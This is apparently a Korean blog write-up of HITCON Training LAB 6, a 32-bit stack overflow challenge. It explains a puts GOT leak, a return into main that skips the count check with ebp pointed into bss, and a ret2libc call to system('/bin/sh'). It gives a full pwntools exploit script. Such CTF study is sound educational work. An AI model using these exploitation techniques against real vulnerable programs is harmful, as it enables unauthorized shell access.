tmxklab
hitcon training [LAB 6] 본문
1. 문제
1) mitigation확인
2) 문제 확인
3) 코드흐름 파악
3-1) main함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+0h] [ebp-28h]
if ( count != 1337 )
exit(1);
++count;
setvbuf(_bss_start, 0, 2, 0);
puts("Try your best :");
return read(0, &buf, 0x40u);
}
count변수는 bss영역에 존재
2. 접근 방법
이전에 LAB4와 비슷하긴 한데 문제는 입력 값을 한 번밖에 받을 수 없으니 주소 값을 leak하여 libc base주소를 알아낼 수는 있으나 system함수와 binsh주소 값을 입력할 read함수가 존재하지 않는다.
따라서, puts함수를 leak한 다음에 다시 main함수로 돌아와서 read함수를 한 번더 진행하는 방식으로 하겠다.
프로세스)
-
bof를 수행하여 puts함수의 주소 값을 leak한 다음에 다시 main함수로 돌아옴
-
다시 read함수가 진행하면서 rtl을 수행하여 system함수와 binsh주소 값을 넣어 쉘을 얻는다.
주의할 점1)
메인 함수 처음으로 돌아오면 count값이 변경되어 exit가 수행된다.
if ( count != 1337 )
exit(1);
해결 방법1)
-
puts주소를 leak하고 메인 함수로 돌아올 때 처음으로 돌아가지 말고 if문을 건너띄고 돌아간다.
주의할 점2)
-
처음 bof를 수행할 때 ebp값을 덮으면 이후에 다시 메인 함수로 돌아올 때 read함수가 ebp값을 참조하므로 문제 발생
-
다시 main함수로 돌아왔을 때 ebp값이 "AAAA"로 덮여져 있음
-
접근할 수 없는 주소 값이므로 제대로 rtl이 수행이 안됨
해결 방법2)
-
처음 bof를 수행할 때 메모리 매핑된 주소 중에 쓰기 권한이 포함된 위치(bss영역)를 ebp에 작성
-
물론 쓰기 권한이 안된 곳을 사용하고 싶으면 mprotect를 사용할 수 있을 것 같음
3. 풀이
1) 다시 돌아올 메인 함수 주소 값 선정
2) ebp에 작성할 공간 선정 → bss영역
0x804a000 ~ 0x804b000이므로 그냥 중간 값 0x804a500으로 하자
3) 익스 코드
from pwn import *
#context.log_level="debug"
p = process("./migration")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
e = ELF("./migration")
#gdb.attach(p)
system_offset = libc.symbols['system']
binsh_offset = libc.search("/bin/sh").next()
puts_offset = libc.symbols['puts']
puts_plt = e.plt['puts']
puts_got = e.got['puts']
main_addr = e.symbols['main']
main_addr = main_addr + 55
pr = 0x804836d
pppr = 0x8048569
count = 0x804a008
log.info("system_offset : "+hex(system_offset))
log.info("binsh_offset : "+hex(binsh_offset))
log.info("puts_plt : "+hex(puts_plt))
log.info("puts_got : "+hex(puts_got))
log.info("main_addr : "+hex(main_addr))
# 1. leak puts() address
payload = "A"*40
payload += p32(0x804a500)
payload += p32(puts_plt)
payload += p32(main_addr)
payload += p32(puts_got)
p.sendafter("\n", payload)
data = p.recvuntil("\n")[:4]
puts_addr = u32(data)
base_addr = puts_addr - puts_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offset
log.info("puts_addr : "+hex(puts_addr))
log.info("base_addr : "+hex(base_addr))
log.info("system_addr : "+hex(system_addr))
log.info("binsh_addr : "+hex(binsh_addr))
# 2. return to system("/bin/sh")
payload = "A"*44
payload += p32(system_addr)
payload += "A"*4
payload += p32(binsh_addr)
p.sendafter("\n", payload)
p.interactive()
4) 공격 실행
'War Game > hitcon training' 카테고리의 다른 글
hitcon training [LAB 8] (0) | 2020.07.19 |
---|---|
hitcon training [LAB 7] (0) | 2020.07.19 |
hitcon training [LAB 5] (0) | 2020.07.19 |
hitcon training [LAB 4] (0) | 2020.07.19 |
hitcon training [LAB 3] (0) | 2020.07.19 |